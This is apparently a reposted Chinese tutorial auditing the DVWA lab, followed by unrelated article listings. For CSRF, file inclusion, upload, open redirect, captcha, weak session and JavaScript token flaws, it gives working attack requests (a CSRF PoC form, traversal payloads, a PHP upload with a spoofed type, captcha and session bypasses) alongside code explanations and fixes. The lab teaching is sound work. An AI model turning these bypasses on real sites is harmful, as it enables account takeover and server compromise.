5、DVWA代碼審計(2)

一、csrf

1、csrf(low)

限制

復現

GET /vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/csrf/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e8ho8oc19et24e69md8905qmk8; security=low
Connection: close
偽造代碼

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="http://ddd.com/vulnerabilities/csrf/"><input type="hidden" name="password&#95;new" value="123456" /><input type="hidden" name="password&#95;conf" value="123456" /><input type="hidden" name="Change" value="Change" /><input type="submit" value="Submit request" /></form></body>
</html>
模仿受害者點擊

在這里插入圖片描述

點擊后修改成功

在這里插入圖片描述

代碼

沒有token機制

在這里插入圖片描述

修復

生成token,提交表單

在這里插入圖片描述

驗證token

在這里插入圖片描述

2、csrf(medium)

限制

復現

GET /vulnerabilities/csrf/?password_new=1qaz1qaz&password_conf=1qaz1qaz&Change=Change HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/csrf/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rrmj945okv8c6mbqj22gua721r; security=medium
Connection: close
構造同域名

在這里插入圖片描述

啟動http服務

在這里插入圖片描述

模仿受害者點擊，此時的Referer，已經包含需要的域名

在這里插入圖片描述

點擊后修改成功

在這里插入圖片描述

代碼

存在Referer驗證請求來源，替換同域名即可成功。構造同域名

在這里插入圖片描述

修復

生成token并驗證,提交表單

在這里插入圖片描述
在這里插入圖片描述

3、csrf(high)

限制

復現

GET /vulnerabilities/csrf/?password_new=qawwz&password_conf=qawwz&Change=Change&user_token=69371e451b62fe4a6a0275bbdddf1aa5 HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/csrf/?password_new=qaz&password_conf=qaz&csrf_token=5624d372f71b20d90f329da069411b20f072cdf777de7320afd1de566b1cfc39&Change=Change&user_token=373fbc54c43123e7c30da432d964ab32
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rrmj945okv8c6mbqj22gua721r; security=high
Connection: close
同中等級一樣構造同域名
存在Referer驗證請求來源，構造同域名

在這里插入圖片描述

啟動http服務

在這里插入圖片描述

模仿受害者點擊，此時的Referer，已經包含需要的域名

在這里插入圖片描述

點擊后修改成功

在這里插入圖片描述

代碼

由首頁進入high.php代碼頁面

在這里插入圖片描述

如果change參數存在進入驗證token步驟

在這里插入圖片描述

檢測disable_authentication是否在$_DVWA數組里，存在則返回true，就直接跳出不會進入下面的if.
如果上面為false就會進入下面的驗證token.如果傳入的token不等于生成的token,或者不存在token.就提醒token不正確，然后返回到index.php

在這里插入圖片描述

雖然代碼有驗證，但是驗證是未開啟狀態

在這里插入圖片描述

修復

$_DVWA[ 'disable_authentication' ] = true;(禁用認證=對)
$_DVWA[ 'disable_authentication' ] = false;(禁用認證=不禁用)
只需要將禁用認證開啟即可

在這里插入圖片描述

4、csrf(impossible)

代碼

不存在csrf原因，添加了輸入原密碼，并且將原密碼做了防注入

二、文件包含

1、文件包含(low)

限制

復現

GET /vulnerabilities/fi/?page=../../phpinfo.php HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rrmj945okv8c6mbqj22gua721r; security=low
Connection: close
讀取一個不存在的文件，報錯顯示出路徑

在這里插入圖片描述

直接跳到跟目錄讀取phpinfo.php(靶場自帶文件)

在這里插入圖片描述

代碼

在這里插入圖片描述
在這里插入圖片描述

修復

在剛進入的頁面做白名單限制，只允許包含這幾個文件

在這里插入圖片描述

if( isset( $file ) ){$whitelist = array('file1.php','file2.php','include.php','file3.php'
);if (in_array($file, $whitelist)) {include $file; // 如果在白名單內，正常執行包含文件
} else {header( 'Location:?page=include.php' );exit;// 否則結束程序
}
}

2、文件包含(medium)

限制

復現

GET /vulnerabilities/fi/?page=....//....//phpinfo.php HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rrmj945okv8c6mbqj22gua721r; security=medium
Connection: close

在這里插入圖片描述

代碼

過濾 ../，為空。 
使用 ....//....//繞過

在這里插入圖片描述

修復

使用白名單限制

在這里插入圖片描述

3、文件包含(high)

限制

復現

GET /vulnerabilities/fi/?page=file://E:/code/php/DVWA-master/phpinfo.php HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/fi/?page=include.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rrmj945okv8c6mbqj22gua721r; security=high
Connection: close

在這里插入圖片描述

代碼

fnmatch() 函數根據指定的模式來匹配文件名或字符串。
從file變量匹配傳入的值是否以file開頭，如果不是以file開頭并且不等于inclide.php就會進入下面的代碼。
繞過：只需要成立一個條件，要么是以file開頭，要么file變量等于include.php就會跳出代碼

在這里插入圖片描述

修復

白名單yyds

在這里插入圖片描述

4、文件包含(impossible)

此等級不存在漏洞
將接受的傳參進行判斷，如果不是include.php、file1.php、file2.php、file3.php這些文件就直接返回錯誤

在這里插入圖片描述

三、文件上傳

1、文件上傳(low)

限制

復現

直接上傳1.php(<?php phpinfo();?>)

POST /vulnerabilities/upload/ HTTP/1.1
Host: ddd.com
Content-Length: 420
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqBoMTirx30PfCVyq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=kt322mru8fjkglut8qp02asnnb; security=low
Connection: close------WebKitFormBoundaryqBoMTirx30PfCVyq
Content-Disposition: form-data; name="MAX_FILE_SIZE"100000
------WebKitFormBoundaryqBoMTirx30PfCVyq
Content-Disposition: form-data; name="uploaded"; filename="1.php"
Content-Type: application/octet-stream<?php phpinfo();?>
------WebKitFormBoundaryqBoMTirx30PfCVyq
Content-Disposition: form-data; name="Upload"Upload
------WebKitFormBoundaryqBoMTirx30PfCVyq--

在這里插入圖片描述
在這里插入圖片描述

代碼

只將接受的文件名和文件路徑進行拼接，然后判斷是否將文件移動成功

在這里插入圖片描述

修復

創建白名單，判斷文件名后綴是否在白名單內

在這里插入圖片描述

2、文件上傳(medium)

限制

復現

POST /vulnerabilities/upload/ HTTP/1.1
Host: ddd.com
Content-Length: 406
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryci2GkJlwp5BrsYji
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=kt322mru8fjkglut8qp02asnnb; security=medium
Connection: close------WebKitFormBoundaryci2GkJlwp5BrsYji
Content-Disposition: form-data; name="MAX_FILE_SIZE"100000
------WebKitFormBoundaryci2GkJlwp5BrsYji
Content-Disposition: form-data; name="uploaded"; filename="1.php"
Content-Type: image/jpeg<?php phpinfo();?>
------WebKitFormBoundaryci2GkJlwp5BrsYji
Content-Disposition: form-data; name="Upload"Upload
------WebKitFormBoundaryci2GkJlwp5BrsYji--

在這里插入圖片描述

代碼

只判斷了類型，沒有判斷文件后綴

在這里插入圖片描述

修復

將接受的文件名打散成數組，再去判斷數組的最后一個字符是否存在php。
但是黑名單限制并不安全，可以使用php112345...、PHP、Pph、pHp、phP等方式繞過

在這里插入圖片描述

最新修復.使用白名單方式

在這里插入圖片描述

3、文件上傳(high)

限制

復現

GET /vulnerabilities/upload/fileclude.php?filepath=../../hackable/uploads/2.jpg HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=high; PHPSESSID=0qlcn5rvk554nuugnh67jjn2du
Connection: close
這里代碼做的限制比較多，判斷了文件名和文件屬性，直接上傳無法繞過，只能配合文件包含漏洞上傳圖片馬

在這里插入圖片描述

代碼

將上傳的文件進行多個判斷條件較為苛刻，文件名后綴、文件大小、文件內容等屬性。相當于白名單限制。所以漏洞不存在繞過。

在這里插入圖片描述

修復

此等級不存在上傳漏洞，除非利用文件包含來進行繞過

4、文件上傳(impossible)

不會造成漏洞原因：
存在upload參數進入token驗證。
對文件名及文件進行處理，截取文件后綴判斷是否等于jpg、jpeg、png并將后綴小寫，判斷了文件大小及文件類型，所有條件都成立才會進行上傳，否則返回錯誤

代碼

在這里插入圖片描述
在這里插入圖片描述

四、url重定向

1、重定向(low)

限制

復現

GET /vulnerabilities/open_redirect/source/low.php?redirect=https://www.baidu.com?id=1 HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/open_redirect/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0qlcn5rvk554nuugnh67jjn2du; security=low
Connection: close
頁面點擊1或2，抓包將原本要跳轉到info.php的頁面改成https://www.baidu.com，即可跳轉到baidu

在這里插入圖片描述
在這里插入圖片描述

代碼

繞過：只要redirect傳參不為空就可以

在這里插入圖片描述

修復

創建個數組白名單，傳參在白名單內就繼續跳轉，否則返回錯誤

在這里插入圖片描述

2、重定向(medium)

限制

復現

GET /vulnerabilities/open_redirect/source/medium.php?redirect=www.baidu.com?id=1 HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/open_redirect/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b9tctcusv0410fdsbulugelgnf; security=medium
Connection: close
將redirect后面的參數修改成//www.baidu.com。因為限制了http://和https://。

在這里插入圖片描述

代碼

接受 redirect傳參，并且不為空。
判斷參數值是否存在http://、https://存在就進入返回錯誤。不存在就繼續執行跳轉代碼
繞過：比如：https://www.baidu.com。可以直接傳入//www.baidu.com也能跳轉。因為//沒有被限制

在這里插入圖片描述

修復

增加白名單機制，如果不在白名單就返回500報錯。在白名單就繼續執行。

在這里插入圖片描述

3、重定向(high)

限制

復現

GET /vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com/info.php?id=1 HTTP/1.1
Host: ddd.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/open_redirect/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b9tctcusv0410fdsbulugelgnf; security=high
Connection: close
在redirect參數加跳轉地址，且必須存在info.php

在這里插入圖片描述

代碼

接受redirect參數，并且不為空就進入if，檢查info.php在redirect值中是否存在，如果存在就為true，true不等于false，為true。就進入執行，否則返回500報錯
代碼限制redirect值必須存在info.php才可以。所以直接在info.php后門加跳轉的地址即可

在這里插入圖片描述

修復

使用白名單操作，如果在傳參值在白名單內就進入執行，否則返回500報錯

在這里插入圖片描述

4、重定向(impossible)

代碼

此等級不存在重定向
原因：做了白名單機制，接受 redirect參數，參數不為空，并且是整數型，只允許跳轉到以下幾個頁面。
如果傳入1、2、99之外的值或為空就報錯

在這里插入圖片描述

五、不安全的驗證碼

1、不安全的驗證碼(low)

限制

無

復現

POST /vulnerabilities/captcha/ HTTP/1.1
Host: ddd.com
Content-Length: 57
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/captcha/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=n9j8g84sili69vejk04p7er7ge; security=low
Connection: closestep=2&password_new=qwqw&password_conf=qwqw&Change=Change

數據包里顯示除了要修改的新密碼參數和change參數，所以只有step是表示驗證碼的。修改密碼后默認驗證碼是1.頁面顯示驗證碼不正確。抓包后將step改成2.即可修改密碼成功

在這里插入圖片描述
在這里插入圖片描述

代碼

修改密碼根據step的值被分成兩部分。
step==1時，recaptcha_check_answer函數，檢驗用戶輸入的驗證碼是否正確，驗證通過后服務器返回表單。

在這里插入圖片描述

step==2時，然后使用提交 post 方法提交修改的密碼。服務器僅檢查 Change、step 參數來判斷用戶是否通過了驗證，step參數時可以控制的

在這里插入圖片描述

未修復

2、不安全的驗證碼()

限制

passed_captcha參數需要存在

復現

POST /vulnerabilities/captcha/ HTTP/1.1
Host: ddd.com
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/captcha/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=3ih9uqumo8a8l99hplirb0jsnt; security=medium
Connection: closestep=2&password_new=qqqq&password_conf=qqqq&passed_captcha=qqqq&Change=Change

將驗證碼字段改成2，在添加字段passed_captcha=qqqq

在這里插入圖片描述

代碼

在這里插入圖片描述

在low的代碼基礎上增加一步校驗
如果不接受passed_captcha傳參，返回不通過驗證

在這里插入圖片描述

未修復

六、Weak Session IDs

1、弱會話(Ⅰ)

限制

無

復現

POST /vulnerabilities/weak_id/ HTTP/1.1
Host: ddd.com
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/weak_id/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: dvwaSession=2; security=low; PHPSESSID=l0evfkg4ulratrosaij9g3ifkn
Connection: close
此數據包是登錄后的。每次請求dvwaSession都會增加1

在這里插入圖片描述

payload：dvwaSession=13; PHPSESSID=trmp9eti71ocjubasa0fnlseq1; security=low
首先瀏覽器打開登錄頁面，使用hacker添加url為登錄后的頁面，選擇cookie和對應的value,dvwaSession=13

在這里插入圖片描述

代碼

檢查請求方法是否為POST，如果是，則檢查是否存在名為“last_session_id”的參數，如果沒有就將這個參數設置為0。設置last_session_id遞增，并將獲取到值保存到dvwaSession的cookie中

在這里插入圖片描述

修復

將cookie的dvwaSession生成隨機32位的16進制字符串

在這里插入圖片描述

2、弱會話(Ⅱ)

限制

時間戳轉換

復現

POST /vulnerabilities/weak_id/ HTTP/1.1
Host: ddd.com
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/weak_id/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: dvwaSession=1681713158; PHPSESSID=trmp9eti71ocjubasa0fnlseq1; security=medium
Connection: close
此時的dvwaSession是以時間戳驗證，只要大于當前時間既可以登錄成功

在這里插入圖片描述
在這里插入圖片描述

代碼

如果請求是post請求方式，將cookie設置當前時間的時間戳

在這里插入圖片描述

修復

將cookie轉換為時間戳后在md5加密

在這里插入圖片描述

3、弱會話(Ⅲ)

限制

md5解密

復現

POST /vulnerabilities/weak_id/ HTTP/1.1
Host: ddd.com
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/weak_id/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: dvwaSession=a87ff679a2f3e71d9181a67b7542122c; dvwaSession=989385e9f554a8185354ad11b45a1f74; PHPSESSID=trmp9eti71ocjubasa0fnlseq1; security=high
Connection: close
將cookie的dvwaSession進行md5加密

在這里插入圖片描述

代碼

在這里插入圖片描述

未修復

七、JavaScript

1、JavaScript(low)

限制

先rot13加密，在MD5加密

復現

POST /vulnerabilities/javascript/ HTTP/1.1
Host: ddd.com
Content-Length: 65
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/javascript/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=l0evfkg4ulratrosaij9g3ifkn; security=low
Connection: closetoken=8b479aefbd90795395b3e7089ae0dc09&phrase=success&send=Submit

頁面顯示輸入success就可以成功，但是顯示token無效。從數據包發現我們傳入的內容是phrass的值，不管傳入什么值token都是一樣的。

在這里插入圖片描述

從代碼層面分析到需要將傳入的success先rot13加密，在MD5加密傳給token

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

代碼

如果請求方式是POST就接受token和phrase參數
如果phrase提交的是success，就判斷token是不是rot13加密后md5加密的值，是就返回成功，否則token無效

在這里插入圖片描述

2、javascript(medium)

限制

token需要字符串反轉

復現

POST /vulnerabilities/javascript/ HTTP/1.1
Host: ddd.com
Content-Length: 44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/javascript/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=l0evfkg4ulratrosaij9g3ifkn; security=medium
Connection: closetoken=XXsseccusXX&phrase=success&send=Submit

和low一樣的是需要傳入success.并且不管提交的phrase值是什么token的值都不變

在這里插入圖片描述

代碼

從代碼分析，是將token值用strrev函數進行字符串反轉才會成功，否則token無效。

在這里插入圖片描述

3、javascript(high)

限制

hash加密、strrev字符串反轉

復現

POST /vulnerabilities/javascript/ HTTP/1.1
Host: ddd.com
Content-Length: 97
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ddd.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ddd.com/vulnerabilities/javascript/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=trmp9eti71ocjubasa0fnlseq1; security=high
Connection: closetoken=ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84&phrase=success&send=Submit

提交success后在數據包將加密的token進行一一加密后在提交

1、strrev("success")字符串反轉----sseccus2、hash("sha256", "XX" . sseccus)----7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a3、hash("sha256", "7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a" . "ZZ")--ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84

在這里插入圖片描述

代碼

當token傳入以下加密后的值才可以成功

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/news/714876.shtml
繁體地址，請注明出處：http://hk.pswp.cn/news/714876.shtml
英文地址，請注明出處：http://en.pswp.cn/news/714876.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

電子電器架構 —— DoIP協議相關的介紹

電子電器架構 —— DoIP協議相關的介紹

電子電器架構 —— DoIP協議相關的介紹 我是穿拖鞋的漢子，魔都中堅持長期主義的汽車電子工程師。 老規矩，分享一段喜歡的文字，避免自己成為高知識低文化的工程師： 沒有人關注你。也無需有人關注你。你必須承認自己的價值，你不能站在他人的角度來反對自己。人生在世，最怕…
閱讀更多...
監聽者的力量：探索觀察者模式和spring使用

監聽者的力量：探索觀察者模式和spring使用

觀察者模式是一種對象行為型設計模式&#xff0c;它定義了對象之間的一對多依賴關系。 觀察者模式通常用于實現分布式事件處理系統、新聞代理或MVC框架的一部分。在這種模式中&#xff0c;一個對象&#xff08;稱為“主題”或“可觀察對象”&#xff09;維護一系列依賴于它的對…
閱讀更多...
vue3編寫H5適配橫豎屏

vue3編寫H5適配橫豎屏

具體思路如下&#xff1a; 1、監聽瀏覽器屏幕變化&#xff0c;通過監聽屏幕寬高&#xff0c;辨別出是橫屏&#xff0c;還是豎屏狀態 在項目的起始根頁面進行監聽&#xff0c;我就是在App.vue文件下進行監聽 代碼如下&#xff1a; <template><RouterView /> <…
閱讀更多...
【Spring IoC】實驗四：特殊值處理

【Spring IoC】實驗四：特殊值處理

個人名片&#xff1a; &#x1f43c;作者簡介&#xff1a;一名大三在校生&#xff0c;喜歡AI編程&#x1f38b; &#x1f43b;???個人主頁&#x1f947;&#xff1a;落798. &#x1f43c;個人WeChat&#xff1a;hmmwx53 &#x1f54a;?系列專欄&#xff1a;&#x1f5bc;?…
閱讀更多...
Java4種創建線程方式

Java4種創建線程方式

目錄 一&#xff1a;繼承Thread 二&#xff1a;重新Runnable接口 三&#xff1a;Callable 四&#xff1a;lambda 一&#xff1a;繼承Thread public static void main(String[] args) {Thread1 t1new Thread1();t1.start(); } class Thread1 extends Thread {Overridepublic…
閱讀更多...
C++ //練習 10.16 使用lambda編寫你自己版本的biggies。

C++ //練習 10.16 使用lambda編寫你自己版本的biggies。

C Primer&#xff08;第5版&#xff09; 練習 10.16 練習 10.16 使用lambda編寫你自己版本的biggies。 環境&#xff1a;Linux Ubuntu&#xff08;云服務器&#xff09; 工具&#xff1a;vim 代碼塊 /*******************************************************************…
閱讀更多...
BERTopic安裝最全教程及報錯處理

BERTopic安裝最全教程及報錯處理

BERTopic安裝 BERTopic的安裝比較復雜，直接安裝會報錯 安裝方法1，.whl文件安裝 ERROR: Could not build wheels for hdbscan, which is required to install pyproject.toml-based projects正確安裝流程 查看python能安裝whl的版本pip debug --verbose Compatible tags: 2…
閱讀更多...
圖表背后的智慧：辦公場景中的數據可視化革新

圖表背后的智慧：辦公場景中的數據可視化革新

在現代辦公場景中&#xff0c;數據可視化的應用已經成為提高效率、推動創新的得力工具。無論是管理層還是普通員工&#xff0c;都能從數據可視化中受益匪淺。下面我就以可視化從業者的角度&#xff0c;簡單聊聊這個話題。 首先&#xff0c;數據可視化提升了數據的易讀性與理解性…
閱讀更多...
docker安裝最新版lastest

docker安裝最新版lastest

docker pull mysql 報missing signature key錯誤問題原因&#xff1a;如果安裝docker用的是yum install docker命令的話&#xff0c;下載下來的docker版本為舊版本&#xff0c;所以會有數字簽名有問題 最新版docker安裝方法&#xff1a; 卸載舊版本 Docker&#xff08;如果已安…
閱讀更多...
【研發日記】Matlab/Simulink技能解鎖(三)——在Stateflow編輯窗口Debug

【研發日記】Matlab/Simulink技能解鎖(三)——在Stateflow編輯窗口Debug

文章目錄 前言 State斷點 Transition斷點 條件斷點 按State步進 Watch Data Value Sequence Viewer 分析和應用 總結 前言 見《【研發日記】Matlab/Simulink技能解鎖(一)——在Simulink編輯窗口Debug》 見《【研發日記】Matlab/Simulink技能解鎖(二)——在Function編輯…
閱讀更多...
AQS（抽象隊列同步器）

AQS（抽象隊列同步器）

什么是AQS? AQS&#xff08;AbstractQueuedSynchronizer&#xff09;是Java中用于實現鎖和同步器的基礎框架。它是一個抽象類&#xff0c;提供了一種靈活且強大的方式來實現各種同步器&#xff0c;如ReentrantLock、Semaphore、CountDownLatch等 AQS實現原理&#xff1f; 1、…
閱讀更多...
Flink狀態存儲-StateBackend

Flink狀態存儲-StateBackend

